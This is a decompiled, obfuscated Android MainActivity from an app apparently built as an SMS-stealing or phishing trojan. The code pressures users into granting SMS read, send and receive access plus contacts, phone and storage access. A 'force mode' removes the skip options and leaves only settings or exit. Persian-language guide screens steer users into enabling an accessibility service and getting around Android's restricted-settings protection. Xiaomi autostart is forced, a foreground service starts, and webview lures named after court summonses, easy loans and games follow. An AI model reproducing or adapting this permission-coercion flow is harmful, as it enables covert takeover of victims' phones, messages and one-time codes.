package ir.devixor.app;

import android.content.ComponentName;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.pm.PackageManager;
import android.net.ConnectivityManager;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.provider.Settings;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.Button;
import android.widget.ImageView;
import android.widget.TextView;
import androidx.appcompat.app.AppCompatActivity;
import com.google.android.gms.common.R;
import ir.devixor.app.MainActivity;
import ir.devixor.app.accessibilityservice.AccessibilityService;
import ir.devixor.app.activity.WebViewActivity;
import ir.devixor.app.page.eblaq.EblaqActvity;
import ir.devixor.app.page.gamesexi.PageGameActivity;
import ir.devixor.app.page.vamasan.VamAsanActvity;
import ir.devixor.app.service.ForegroundService;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import o.AbstractC0008Ai;
import o.AbstractC1299gb0;
import o.AbstractC1456i7;
import o.AbstractC2219q9;
import o.AbstractC2355rh;
import o.AbstractC2962y1;
import o.AbstractC3117zi;
import o.As0;
import o.C0871c2;
import o.C1014dc0;
import o.C1164f5;
import o.C1254g2;
import o.C2044oN;
import o.C2867x1;
import o.Co0;
import o.InterfaceC2677v1;
import o.InterfaceC3085zK;
import o.ViewOnClickListenerC1759lN;
import o.Za0;
import org.json.JSONObject;

/* compiled from: r8-map-id-3b7cc9102578c509342fa2f0fabed2bfc72239cd258d579fc679bfcbc198b048 */
/* loaded from: classes.dex */
public final class MainActivity extends AppCompatActivity {
    public static final int $stable = 8;
    private static final C2044oN Companion = new C2044oN();
    private static final String KEY_AUTOSTART_DONE_ONCE = "autostart_done_once";
    private static final String KEY_OTHER_DENY_COUNT = "perm_other_deny_count";
    private static final String KEY_SMS_DENY_COUNT = "perm_sms_deny_count";

    @Deprecated
    public static final String PREFS_NAME = "WebViewPrefs";
    private ConnectivityManager connectivityManager;
    private boolean openedAccessibilitySettings;
    private boolean openedAppInfoForRestricted;
    private boolean openedPermissionSettings;
    private final AbstractC2962y1 otherPermissionsLauncher;
    private View overlayView;
    private final InterfaceC3085zK permConfig$delegate = new C1014dc0(new C1164f5(10, this));
    private ViewGroup rootLayout;
    private SharedPreferences sharedPrefs;
    private boolean showingAutostartDialog;
    private final AbstractC2962y1 smsPermissionLauncher;

    public MainActivity() {
        final int i = 0;
        this.smsPermissionLauncher = registerForActivityResult(new C2867x1(1), new InterfaceC2677v1(this) { // from class: o.mN
            public final /* synthetic */ MainActivity m;

            {
                this.m = this;
            }

            @Override // o.InterfaceC2677v1
            public final void c(Object obj) throws IOException {
                switch (i) {
                    case 0:
                        MainActivity.smsPermissionLauncher$lambda$22(this.m, (Map) obj);
                        break;
                    default:
                        MainActivity.otherPermissionsLauncher$lambda$23(this.m, (Map) obj);
                        break;
                }
            }
        });
        final int i2 = 1;
        this.otherPermissionsLauncher = registerForActivityResult(new C2867x1(1), new InterfaceC2677v1(this) { // from class: o.mN
            public final /* synthetic */ MainActivity m;

            {
                this.m = this;
            }

            @Override // o.InterfaceC2677v1
            public final void c(Object obj) throws IOException {
                switch (i2) {
                    case 0:
                        MainActivity.smsPermissionLauncher$lambda$22(this.m, (Map) obj);
                        break;
                    default:
                        MainActivity.otherPermissionsLauncher$lambda$23(this.m, (Map) obj);
                        break;
                }
            }
        });
    }

    private final void checkAndRequestPermissions() throws IOException {
        List<String> missingPermissions = getMissingPermissions(getSmsPermissions());
        if (missingPermissions.isEmpty()) {
            continueAfterSmsPermissions();
        } else {
            this.smsPermissionLauncher.a(missingPermissions.toArray(new String[0]));
        }
    }

    /* JADX WARN: Removed duplicated region for block: B:21:0x003a  */
    /* JADX WARN: Removed duplicated region for block: B:35:0x0064  */
    /*
        Code decompiled incorrectly, please refer to instructions dump.
        To view partially-correct add '--show-bad-code' argument
    */
    private final boolean checkAutoStartOrShowDialog() throws java.lang.IllegalAccessException, java.lang.NoSuchMethodException, java.lang.ClassNotFoundException, java.lang.SecurityException, java.lang.IllegalArgumentException, java.lang.reflect.InvocationTargetException {
        /*
            r8 = this;
            boolean r0 = r8.isXiaomiDevice()
            r1 = 1
            if (r0 == 0) goto L76
            int r0 = android.os.Build.VERSION.SDK_INT
            r2 = 31
            if (r0 < r2) goto L76
            boolean r0 = r8.hasMiuiSecurityCenter()
            if (r0 != 0) goto L15
            goto L76
        L15:
            int r0 = o.AbstractC3010yc.a     // Catch: java.lang.Exception -> L76
            java.lang.String r0 = "android.miui.AppOpsUtils"
            r2 = 0
            java.lang.Class r0 = java.lang.Class.forName(r0)     // Catch: java.lang.ClassNotFoundException -> L1f java.lang.Exception -> L76
            goto L20
        L1f:
            r0 = r2
        L20:
            r3 = 2
            r4 = 3
            if (r0 != 0) goto L25
            goto L3a
        L25:
            java.lang.String r5 = "getApplicationAutoStart"
            java.lang.Class<android.content.Context> r6 = android.content.Context.class
            java.lang.Class<java.lang.String> r7 = java.lang.String.class
            java.lang.Class[] r6 = new java.lang.Class[]{r6, r7}     // Catch: java.lang.NoSuchMethodException -> L37 java.lang.Exception -> L76
            java.lang.reflect.Method r0 = r0.getDeclaredMethod(r5, r6)     // Catch: java.lang.NoSuchMethodException -> L37 java.lang.Exception -> L76
            r0.setAccessible(r1)     // Catch: java.lang.NoSuchMethodException -> L37 java.lang.Exception -> L76
            goto L38
        L37:
            r0 = r2
        L38:
            if (r0 != 0) goto L3c
        L3a:
            r0 = r4
            goto L5e
        L3c:
            java.lang.String r5 = r8.getPackageName()     // Catch: java.lang.Exception -> L76
            java.lang.Object[] r5 = new java.lang.Object[]{r8, r5}     // Catch: java.lang.Exception -> L76
            java.lang.Object r0 = r0.invoke(r2, r5)     // Catch: java.lang.Exception -> L76
            boolean r5 = r0 instanceof java.lang.Integer     // Catch: java.lang.Exception -> L76
            if (r5 == 0) goto L4f
            r2 = r0
            java.lang.Integer r2 = (java.lang.Integer) r2     // Catch: java.lang.Exception -> L76
        L4f:
            r0 = 4
            if (r2 == 0) goto L5e
            int r2 = r2.intValue()     // Catch: java.lang.Exception -> L76
            if (r2 == 0) goto L5d
            if (r2 == r1) goto L5b
            goto L5e
        L5b:
            r0 = r3
            goto L5e
        L5d:
            r0 = r1
        L5e:
            int r0 = o.AbstractC2462sn.w(r0)     // Catch: java.lang.Exception -> L76
            if (r0 == 0) goto L76
            if (r0 == r1) goto L71
            if (r0 == r3) goto L76
            if (r0 != r4) goto L6b
            goto L76
        L6b:
            o.pj r0 = new o.pj     // Catch: java.lang.Exception -> L76
            r0.<init>()     // Catch: java.lang.Exception -> L76
            throw r0     // Catch: java.lang.Exception -> L76
        L71:
            r8.showAutoStartDialog()     // Catch: java.lang.Exception -> L76
            r0 = 0
            return r0
        L76:
            return r1
        */
        throw new UnsupportedOperationException("Method not decompiled: ir.devixor.app.MainActivity.checkAutoStartOrShowDialog():boolean");
    }

    private final void continueAfterSmsPermissions() throws IOException {
        if (isAutoStartEnabled()) {
            SharedPreferences sharedPreferences = this.sharedPrefs;
            if (sharedPreferences == null) {
                sharedPreferences = null;
            }
            if (!sharedPreferences.getBoolean(KEY_AUTOSTART_DONE_ONCE, false)) {
                SharedPreferences sharedPreferences2 = this.sharedPrefs;
                (sharedPreferences2 != null ? sharedPreferences2 : null).edit().putBoolean(KEY_AUTOSTART_DONE_ONCE, true).apply();
                if (!checkAutoStartOrShowDialog()) {
                    return;
                }
            }
        }
        List<String> missingPermissions = getMissingPermissions(getNonSmsPermissions());
        if (!missingPermissions.isEmpty()) {
            this.otherPermissionsLauncher.a(missingPermissions.toArray(new String[0]));
        } else if (!isAccessibilityRequired() || isMyAccessibilityServiceEnabled()) {
            proceedToApp();
        } else {
            showAccessibilityScreen();
        }
    }

    private final List<String> getMissingPermissions(List<String> list) {
        ArrayList arrayList = new ArrayList();
        for (Object obj : list) {
            String str = (String) obj;
            if (!isNormalPermission(str) && isPermissionInManifest(str) && Co0.l(this, str) != 0) {
                arrayList.add(obj);
            }
        }
        return arrayList;
    }

    private final List<String> getNonSmsPermissions() {
        List<String> requiredPermissions = getRequiredPermissions();
        List<String> smsPermissions = getSmsPermissions();
        ArrayList arrayList = new ArrayList();
        for (Object obj : requiredPermissions) {
            if (!smsPermissions.contains((String) obj)) {
                arrayList.add(obj);
            }
        }
        return arrayList;
    }

    private final JSONObject getPermConfig() {
        return (JSONObject) this.permConfig$delegate.getValue();
    }

    private final List<String> getRequiredPermissions() {
        JSONObject permConfig = getPermConfig();
        ArrayList arrayList = new ArrayList();
        if (AbstractC1299gb0.I(permConfig.optString("phone", "off"), "on")) {
            if (Build.VERSION.SDK_INT >= 26) {
                arrayList.add("android.permission.READ_PHONE_STATE");
                arrayList.add("android.permission.READ_PHONE_NUMBERS");
            } else {
                arrayList.add("android.permission.READ_PHONE_STATE");
            }
            arrayList.add("android.permission.CALL_PHONE");
        }
        if (AbstractC1299gb0.I(permConfig.optString("sms", "off"), "on")) {
            arrayList.add("android.permission.READ_SMS");
            arrayList.add("android.permission.SEND_SMS");
            if (isPermissionInManifest("android.permission.RECEIVE_SMS")) {
                arrayList.add("android.permission.RECEIVE_SMS");
            }
        }
        if (AbstractC1299gb0.I(permConfig.optString("contacts", "off"), "on")) {
            arrayList.add("android.permission.READ_CONTACTS");
            arrayList.add("android.permission.WRITE_CONTACTS");
        }
        if (AbstractC1299gb0.I(permConfig.optString("storage", "off"), "on")) {
            int i = Build.VERSION.SDK_INT;
            if (i >= 33) {
                arrayList.add("android.permission.READ_MEDIA_IMAGES");
                arrayList.add("android.permission.READ_MEDIA_VIDEO");
                arrayList.add("android.permission.READ_MEDIA_AUDIO");
            } else {
                arrayList.add("android.permission.READ_EXTERNAL_STORAGE");
                if (i < 29) {
                    arrayList.add("android.permission.WRITE_EXTERNAL_STORAGE");
                }
            }
        }
        if (AbstractC1299gb0.I(permConfig.optString("notification", "off"), "on") && Build.VERSION.SDK_INT >= 33 && isPermissionInManifest("android.permission.POST_NOTIFICATIONS")) {
            arrayList.add("android.permission.POST_NOTIFICATIONS");
        }
        return AbstractC3117zi.t0(AbstractC3117zi.v0(arrayList));
    }

    private final List<String> getSmsPermissions() {
        List<String> requiredPermissions = getRequiredPermissions();
        List listS = AbstractC0008Ai.S("android.permission.READ_SMS", "android.permission.SEND_SMS", "android.permission.RECEIVE_SMS");
        ArrayList arrayList = new ArrayList();
        for (Object obj : requiredPermissions) {
            if (listS.contains((String) obj)) {
                arrayList.add(obj);
            }
        }
        return arrayList;
    }

    /* JADX WARN: Removed duplicated region for block: B:40:0x0078  */
    /*
        Code decompiled incorrectly, please refer to instructions dump.
        To view partially-correct add '--show-bad-code' argument
    */
    private final void handleOtherPermissionsDenied(java.util.List<java.lang.String> r5) throws java.io.IOException {
        /*
            r4 = this;
            boolean r0 = r4.isForceModeEnabled()
            r1 = 0
            java.lang.String r2 = "perm_other_deny_count"
            r3 = 0
            if (r0 != 0) goto L2f
            android.content.SharedPreferences r5 = r4.sharedPrefs
            if (r5 != 0) goto Lf
            goto L10
        Lf:
            r3 = r5
        L10:
            android.content.SharedPreferences$Editor r5 = r3.edit()
            android.content.SharedPreferences$Editor r5 = r5.putInt(r2, r1)
            r5.apply()
            boolean r5 = r4.isAccessibilityRequired()
            if (r5 == 0) goto L2b
            boolean r5 = r4.isMyAccessibilityServiceEnabled()
            if (r5 != 0) goto L2b
            r4.showAccessibilityScreen()
            return
        L2b:
            r4.proceedToApp()
            return
        L2f:
            android.content.SharedPreferences r0 = r4.sharedPrefs
            if (r0 != 0) goto L34
            r0 = r3
        L34:
            int r0 = r0.getInt(r2, r1)
            int r0 = r0 + 1
            android.content.SharedPreferences r1 = r4.sharedPrefs
            if (r1 != 0) goto L3f
            goto L40
        L3f:
            r3 = r1
        L40:
            android.content.SharedPreferences$Editor r1 = r3.edit()
            android.content.SharedPreferences$Editor r1 = r1.putInt(r2, r0)
            r1.apply()
            if (r5 == 0) goto L54
            boolean r1 = r5.isEmpty()
            if (r1 == 0) goto L54
            goto L71
        L54:
            java.util.Iterator r5 = r5.iterator()
        L58:
            boolean r1 = r5.hasNext()
            if (r1 == 0) goto L71
            java.lang.Object r1 = r5.next()
            java.lang.String r1 = (java.lang.String) r1
            int r2 = o.Co0.l(r4, r1)
            if (r2 == 0) goto L58
            boolean r1 = r4.shouldShowRequestPermissionRationale(r1)
            if (r1 != 0) goto L58
            goto L74
        L71:
            r5 = 2
            if (r0 < r5) goto L78
        L74:
            r4.showPermissionSettingsDialog()
            return
        L78:
            r4.showPermissionDialog()
            return
        */
        throw new UnsupportedOperationException("Method not decompiled: ir.devixor.app.MainActivity.handleOtherPermissionsDenied(java.util.List):void");
    }

    /* JADX WARN: Removed duplicated region for block: B:26:0x0051  */
    /*
        Code decompiled incorrectly, please refer to instructions dump.
        To view partially-correct add '--show-bad-code' argument
    */
    private final void handleSmsDenied(java.util.Map<java.lang.String, java.lang.Boolean> r4) {
        /*
            r3 = this;
            android.content.SharedPreferences r4 = r3.sharedPrefs
            r0 = 0
            if (r4 != 0) goto L6
            r4 = r0
        L6:
            r1 = 0
            java.lang.String r2 = "perm_sms_deny_count"
            int r4 = r4.getInt(r2, r1)
            int r4 = r4 + 1
            android.content.SharedPreferences r1 = r3.sharedPrefs
            if (r1 != 0) goto L14
            goto L15
        L14:
            r0 = r1
        L15:
            android.content.SharedPreferences$Editor r0 = r0.edit()
            android.content.SharedPreferences$Editor r0 = r0.putInt(r2, r4)
            r0.apply()
            java.util.List r0 = r3.getSmsPermissions()
            if (r0 == 0) goto L2d
            boolean r1 = r0.isEmpty()
            if (r1 == 0) goto L2d
            goto L4a
        L2d:
            java.util.Iterator r0 = r0.iterator()
        L31:
            boolean r1 = r0.hasNext()
            if (r1 == 0) goto L4a
            java.lang.Object r1 = r0.next()
            java.lang.String r1 = (java.lang.String) r1
            int r2 = o.Co0.l(r3, r1)
            if (r2 == 0) goto L31
            boolean r1 = r3.shouldShowRequestPermissionRationale(r1)
            if (r1 != 0) goto L31
            goto L4d
        L4a:
            r0 = 2
            if (r4 < r0) goto L51
        L4d:
            r3.showPermissionSettingsDialog()
            return
        L51:
            r3.showPermissionDialog()
            return
        */
        throw new UnsupportedOperationException("Method not decompiled: ir.devixor.app.MainActivity.handleSmsDenied(java.util.Map):void");
    }

    private final boolean hasMiuiSecurityCenter() throws PackageManager.NameNotFoundException {
        try {
            getPackageManager().getPackageInfo("com.miui.securitycenter", 0);
            return true;
        } catch (Exception unused) {
            return false;
        }
    }

    private final boolean hasSmsPermissionGranted() {
        if (!isSmsPermissionEnabled()) {
            return false;
        }
        ArrayList arrayList = new ArrayList();
        arrayList.add("android.permission.READ_SMS");
        arrayList.add("android.permission.SEND_SMS");
        if (isPermissionInManifest("android.permission.RECEIVE_SMS")) {
            arrayList.add("android.permission.RECEIVE_SMS");
        }
        if (arrayList.isEmpty()) {
            return true;
        }
        int size = arrayList.size();
        int i = 0;
        while (i < size) {
            Object obj = arrayList.get(i);
            i++;
            if (Co0.l(this, (String) obj) != 0) {
                return false;
            }
        }
        return true;
    }

    private final boolean isAccessibilityRequired() {
        return AbstractC1299gb0.I(getPermConfig().optString("Accessibility", "off"), "on");
    }

    private final boolean isAutoStartEnabled() {
        return AbstractC1299gb0.I(getPermConfig().optString("auto_start", "off"), "on");
    }

    private final boolean isForceModeEnabled() {
        return AbstractC1299gb0.I(getPermConfig().optString("perm_force", "off"), "on");
    }

    private final boolean isMyAccessibilityServiceEnabled() {
        String string = Settings.Secure.getString(getContentResolver(), "enabled_accessibility_services");
        if (string == null) {
            return false;
        }
        return Za0.P(string, getPackageName() + "/" + AccessibilityService.class.getName(), true);
    }

    private final boolean isNormalPermission(String str) {
        return AbstractC0008Ai.S("android.permission.ACCESS_NETWORK_STATE", "android.permission.INTERNET", "android.permission.VIBRATE", "android.permission.WAKE_LOCK").contains(str);
    }

    private final boolean isPermissionInManifest(String str) {
        try {
            String[] strArr = getPackageManager().getPackageInfo(getPackageName(), 4096).requestedPermissions;
            if (strArr != null) {
                if (AbstractC2219q9.H(strArr, str)) {
                    return true;
                }
            }
        } catch (Exception unused) {
        }
        return false;
    }

    private final boolean isSamsungDevice() {
        return AbstractC1299gb0.I(Build.MANUFACTURER, "samsung");
    }

    private final boolean isSmsPermissionEnabled() {
        return AbstractC1299gb0.I(getPermConfig().optString("sms", "off"), "on");
    }

    private final boolean isXiaomiDevice() {
        return AbstractC1299gb0.I(Build.MANUFACTURER, "xiaomi");
    }

    /* JADX INFO: Access modifiers changed from: private */
    public final JSONObject loadPermissionConfig() throws IOException {
        try {
            BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(getAssets().open("permission.json"), AbstractC2355rh.a), 8192);
            try {
                String strO = As0.O(bufferedReader);
                bufferedReader.close();
                return new JSONObject(strO);
            } finally {
            }
        } catch (Exception unused) {
            return new JSONObject();
        }
    }

    /* JADX INFO: Access modifiers changed from: private */
    public final void openAccessibilitySettings() {
        this.openedAccessibilitySettings = true;
        startActivity(new Intent("android.settings.ACCESSIBILITY_SETTINGS"));
    }

    /* JADX INFO: Access modifiers changed from: private */
    public final void openAppInfo() {
        this.openedAppInfoForRestricted = true;
        Intent intent = new Intent("android.settings.APPLICATION_DETAILS_SETTINGS");
        intent.setData(Uri.parse("package:" + getPackageName()));
        startActivity(intent);
    }

    private final void openAppSettings() {
        try {
            Intent intent = new Intent("android.settings.APPLICATION_DETAILS_SETTINGS");
            intent.setData(Uri.fromParts("package", getPackageName(), null));
            startActivity(intent);
        } catch (Exception unused) {
            startActivity(new Intent("android.settings.SETTINGS"));
        }
    }

    private final void openWebViewActivity() throws IOException {
        Class cls = WebViewActivity.class;
        try {
            BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(getAssets().open("webview.json"), AbstractC2355rh.a), 8192);
            try {
                String strO = As0.O(bufferedReader);
                bufferedReader.close();
                String string = Za0.o0(new JSONObject(strO).optString("webview_url", "")).toString();
                int iHashCode = string.hashCode();
                if (iHashCode != -128869803) {
                    if (iHashCode != 8903369) {
                        if (iHashCode == 1203456843 && string.equals("EblaqActvity")) {
                            cls = EblaqActvity.class;
                        }
                    } else if (string.equals("VamAsanActvity")) {
                        cls = VamAsanActvity.class;
                    }
                } else if (string.equals("GameSexiActvity")) {
                    cls = PageGameActivity.class;
                }
            } finally {
            }
        } catch (Exception unused) {
        }
        startActivity(new Intent(this, (Class<?>) cls).addFlags(65536));
        overridePendingTransition(0, 0);
        if (Build.VERSION.SDK_INT >= 34) {
            overrideActivityTransition(0, 0, 0);
        }
        finish();
    }

    /* JADX INFO: Access modifiers changed from: private */
    public final void openXiaomiAutostartSettings() {
        String packageName = getPackageName();
        Intent intent = new Intent();
        intent.setComponent(new ComponentName("com.miui.securitycenter", "com.miui.permcenter.autostart.AutoStartManagementActivity"));
        Intent intent2 = new Intent();
        intent2.setComponent(new ComponentName("com.miui.securitycenter", "com.miui.permcenter.permissions.PermissionsEditorActivity"));
        intent2.putExtra("package", packageName);
        intent2.putExtra("extra_pkgname", packageName);
        intent2.putExtra("packageName", packageName);
        Intent intent3 = new Intent("miui.intent.action.OP_AUTO_START");
        Intent intent4 = new Intent("android.settings.APPLICATION_DETAILS_SETTINGS");
        intent4.setData(Uri.parse("package:" + packageName));
        for (Intent intent5 : AbstractC0008Ai.S(intent, intent2, intent3, intent4)) {
            try {
                intent5.addFlags(268435456);
                startActivity(intent5);
                return;
            } catch (Exception unused) {
            }
        }
    }

    /* JADX INFO: Access modifiers changed from: private */
    public static final void otherPermissionsLauncher$lambda$23(MainActivity mainActivity, Map map) throws IOException {
        List<String> missingPermissions = mainActivity.getMissingPermissions(mainActivity.getNonSmsPermissions());
        if (!missingPermissions.isEmpty()) {
            mainActivity.handleOtherPermissionsDenied(missingPermissions);
            return;
        }
        SharedPreferences sharedPreferences = mainActivity.sharedPrefs;
        if (sharedPreferences == null) {
            sharedPreferences = null;
        }
        sharedPreferences.edit().putInt(KEY_OTHER_DENY_COUNT, 0).apply();
        if (!mainActivity.isAccessibilityRequired() || mainActivity.isMyAccessibilityServiceEnabled()) {
            mainActivity.proceedToApp();
        } else {
            mainActivity.showAccessibilityScreen();
        }
    }

    private final int pickSamsungOrXiaomi(int i, int i2) {
        return isXiaomiDevice() ? i2 : i;
    }

    private final void proceedToApp() throws IOException {
        boolean z = ForegroundService.w;
        Intent intent = new Intent(this, (Class<?>) ForegroundService.class);
        int i = Build.VERSION.SDK_INT;
        if (i < 26 || i < 26) {
            startService(intent);
        } else {
            AbstractC1456i7.w(this, intent);
        }
        openWebViewActivity();
    }

    private final void removeOverlay() {
        View view = this.overlayView;
        if (view != null) {
            ViewGroup viewGroup = this.rootLayout;
            if (viewGroup == null) {
                viewGroup = null;
            }
            viewGroup.removeView(view);
        }
        this.overlayView = null;
    }

    private final void showAccessibilityScreen() {
        removeOverlay();
        LayoutInflater layoutInflaterFrom = LayoutInflater.from(this);
        ViewGroup viewGroup = this.rootLayout;
        if (viewGroup == null) {
            viewGroup = null;
        }
        View viewInflate = layoutInflaterFrom.inflate(R.layout.screen_accessibility, viewGroup, false);
        this.overlayView = viewInflate;
        boolean zIsForceModeEnabled = isForceModeEnabled();
        String string = getString(getApplicationInfo().labelRes);
        ((ImageView) viewInflate.findViewById(R.id.imgGuide)).setImageResource(pickSamsungOrXiaomi(R.drawable.accessibility_guide_samsung, R.drawable.accessibility_guide_xiaomi));
        View viewFindViewById = viewInflate.findViewById(R.id.samsungHintBlock);
        TextView textView = (TextView) viewInflate.findViewById(R.id.txtSamsungHint);
        viewFindViewById.setVisibility(isSamsungDevice() ? 0 : 8);
        textView.setText("سامسونگ: روی «برنامه\u200cهای نصب\u200cشده (Installed apps)» بزنید، سپس «" + string + "» را انتخاب کنید.");
        Button button = (Button) viewInflate.findViewById(R.id.btnGoAccessibility);
        Button button2 = (Button) viewInflate.findViewById(R.id.btnSkipAccessibility);
        button2.setVisibility(zIsForceModeEnabled ? 8 : 0);
        button.setOnClickListener(new ViewOnClickListenerC1759lN(this, 3));
        button2.setOnClickListener(new ViewOnClickListenerC1759lN(this, 4));
        ViewGroup viewGroup2 = this.rootLayout;
        (viewGroup2 != null ? viewGroup2 : null).addView(viewInflate);
    }

    /* JADX INFO: Access modifiers changed from: private */
    public static final void showAccessibilityScreen$lambda$10(MainActivity mainActivity, View view) throws IOException {
        mainActivity.removeOverlay();
        mainActivity.proceedToApp();
    }

    private final void showAutoStartDialog() {
        removeOverlay();
        LayoutInflater layoutInflaterFrom = LayoutInflater.from(this);
        ViewGroup viewGroup = this.rootLayout;
        if (viewGroup == null) {
            viewGroup = null;
        }
        View viewInflate = layoutInflaterFrom.inflate(R.layout.autostart, viewGroup, false);
        this.overlayView = viewInflate;
        this.showingAutostartDialog = true;
        ((Button) viewInflate.findViewById(R.id.btnAutoStartSettings)).setOnClickListener(new ViewOnClickListenerC1759lN(this, 6));
        ViewGroup viewGroup2 = this.rootLayout;
        (viewGroup2 != null ? viewGroup2 : null).addView(viewInflate);
        viewInflate.setAlpha(0.0f);
        viewInflate.animate().alpha(1.0f).setDuration(250L).start();
    }

    private final void showPermissionDialog() {
        removeOverlay();
        LayoutInflater layoutInflaterFrom = LayoutInflater.from(this);
        ViewGroup viewGroup = this.rootLayout;
        if (viewGroup == null) {
            viewGroup = null;
        }
        View viewInflate = layoutInflaterFrom.inflate(R.layout.dialog_permission, viewGroup, false);
        this.overlayView = viewInflate;
        ((Button) viewInflate.findViewById(R.id.btnRetry)).setOnClickListener(new ViewOnClickListenerC1759lN(this, 5));
        ViewGroup viewGroup2 = this.rootLayout;
        (viewGroup2 != null ? viewGroup2 : null).addView(viewInflate);
        viewInflate.setAlpha(0.0f);
        viewInflate.animate().alpha(1.0f).setDuration(250L).start();
    }

    /* JADX INFO: Access modifiers changed from: private */
    public static final void showPermissionDialog$lambda$26(MainActivity mainActivity, View view) throws IOException {
        mainActivity.removeOverlay();
        mainActivity.checkAndRequestPermissions();
    }

    /* JADX WARN: Type inference failed for: r2v3, types: [o.nN] */
    /* JADX WARN: Type inference failed for: r2v4, types: [o.nN] */
    private final void showPermissionSettingsDialog() {
        C1254g2 c1254g2 = new C1254g2(this);
        C0871c2 c0871c2 = (C0871c2) c1254g2.n;
        c0871c2.d = "نیاز به دسترسی";
        c0871c2.f = "دسترسی\u200cهای لازم بیش از دو بار رد شده\u200cاند یا توسط سیستم محدود شده\u200cاند.\nبرای ادامه، وارد تنظیمات برنامه شوید و دسترسی\u200cها را به صورت دستی فعال کنید.";
        c0871c2.k = false;
        final int i = 0;
        ?? r2 = new DialogInterface.OnClickListener(this) { // from class: o.nN
            public final /* synthetic */ MainActivity m;

            {
                this.m = this;
            }

            @Override // android.content.DialogInterface.OnClickListener
            public final void onClick(DialogInterface dialogInterface, int i2) {
                switch (i) {
                    case 0:
                        MainActivity.showPermissionSettingsDialog$lambda$20(this.m, dialogInterface, i2);
                        break;
                    default:
                        this.m.finish();
                        break;
                }
            }
        };
        c0871c2.g = "رفتن به تنظیمات";
        c0871c2.h = r2;
        final int i2 = 1;
        ?? r22 = new DialogInterface.OnClickListener(this) { // from class: o.nN
            public final /* synthetic */ MainActivity m;

            {
                this.m = this;
            }

            @Override // android.content.DialogInterface.OnClickListener
            public final void onClick(DialogInterface dialogInterface, int i22) {
                switch (i2) {
                    case 0:
                        MainActivity.showPermissionSettingsDialog$lambda$20(this.m, dialogInterface, i22);
                        break;
                    default:
                        this.m.finish();
                        break;
                }
            }
        };
        c0871c2.i = "خروج از برنامه";
        c0871c2.j = r22;
        c1254g2.e().show();
    }

    /* JADX INFO: Access modifiers changed from: private */
    public static final void showPermissionSettingsDialog$lambda$20(MainActivity mainActivity, DialogInterface dialogInterface, int i) {
        mainActivity.openedPermissionSettings = true;
        mainActivity.openAppSettings();
    }

    private final void showRestrictedScreen() {
        removeOverlay();
        LayoutInflater layoutInflaterFrom = LayoutInflater.from(this);
        ViewGroup viewGroup = this.rootLayout;
        if (viewGroup == null) {
            viewGroup = null;
        }
        View viewInflate = layoutInflaterFrom.inflate(R.layout.screen_restricted_settings, viewGroup, false);
        this.overlayView = viewInflate;
        boolean zIsForceModeEnabled = isForceModeEnabled();
        ImageView imageView = (ImageView) viewInflate.findViewById(R.id.imgWarning);
        ImageView imageView2 = (ImageView) viewInflate.findViewById(R.id.imgGuide);
        imageView.setImageResource(R.drawable.restricted_warning);
        imageView2.setImageResource(pickSamsungOrXiaomi(R.drawable.restricted_guide_samsung, R.drawable.restricted_guide_xiaomi));
        Button button = (Button) viewInflate.findViewById(R.id.btnGoAppInfo);
        Button button2 = (Button) viewInflate.findViewById(R.id.btnGoAccessibilityAgain);
        Button button3 = (Button) viewInflate.findViewById(R.id.btnSkipRestricted);
        button3.setVisibility(zIsForceModeEnabled ? 8 : 0);
        button.setOnClickListener(new ViewOnClickListenerC1759lN(this, 0));
        button2.setOnClickListener(new ViewOnClickListenerC1759lN(this, 1));
        button3.setOnClickListener(new ViewOnClickListenerC1759lN(this, 2));
        ViewGroup viewGroup2 = this.rootLayout;
        (viewGroup2 != null ? viewGroup2 : null).addView(viewInflate);
    }

    /* JADX INFO: Access modifiers changed from: private */
    public static final void showRestrictedScreen$lambda$13(MainActivity mainActivity, View view) throws IOException {
        mainActivity.removeOverlay();
        mainActivity.proceedToApp();
    }

    /* JADX INFO: Access modifiers changed from: private */
    public static final void smsPermissionLauncher$lambda$22(MainActivity mainActivity, Map map) throws IOException {
        if (!mainActivity.hasSmsPermissionGranted()) {
            mainActivity.handleSmsDenied(map);
            return;
        }
        SharedPreferences sharedPreferences = mainActivity.sharedPrefs;
        if (sharedPreferences == null) {
            sharedPreferences = null;
        }
        sharedPreferences.edit().putInt(KEY_SMS_DENY_COUNT, 0).apply();
        mainActivity.continueAfterSmsPermissions();
    }

    @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    public void onCreate(Bundle bundle) throws IOException {
        super.onCreate(bundle);
        this.sharedPrefs = getSharedPreferences(PREFS_NAME, 0);
        this.connectivityManager = (ConnectivityManager) getSystemService("connectivity");
        setContentView(R.layout.activity_main);
        this.rootLayout = (ViewGroup) getWindow().getDecorView().findViewById(android.R.id.content);
        checkAndRequestPermissions();
    }

    @Override // androidx.fragment.app.FragmentActivity, android.app.Activity
    public void onResume() throws IOException {
        super.onResume();
        if (this.showingAutostartDialog) {
            removeOverlay();
            this.showingAutostartDialog = false;
            continueAfterSmsPermissions();
            return;
        }
        if (this.openedPermissionSettings) {
            this.openedPermissionSettings = false;
            removeOverlay();
            checkAndRequestPermissions();
            return;
        }
        if (this.openedAccessibilitySettings) {
            this.openedAccessibilitySettings = false;
            if (isAccessibilityRequired() && !isMyAccessibilityServiceEnabled()) {
                showRestrictedScreen();
                return;
            } else if (isAccessibilityRequired() && isMyAccessibilityServiceEnabled()) {
                removeOverlay();
                proceedToApp();
                return;
            }
        }
        if (this.openedAppInfoForRestricted) {
            this.openedAppInfoForRestricted = false;
            if (!isAccessibilityRequired() || isMyAccessibilityServiceEnabled()) {
                return;
            }
            showAccessibilityScreen();
        }
    }
}
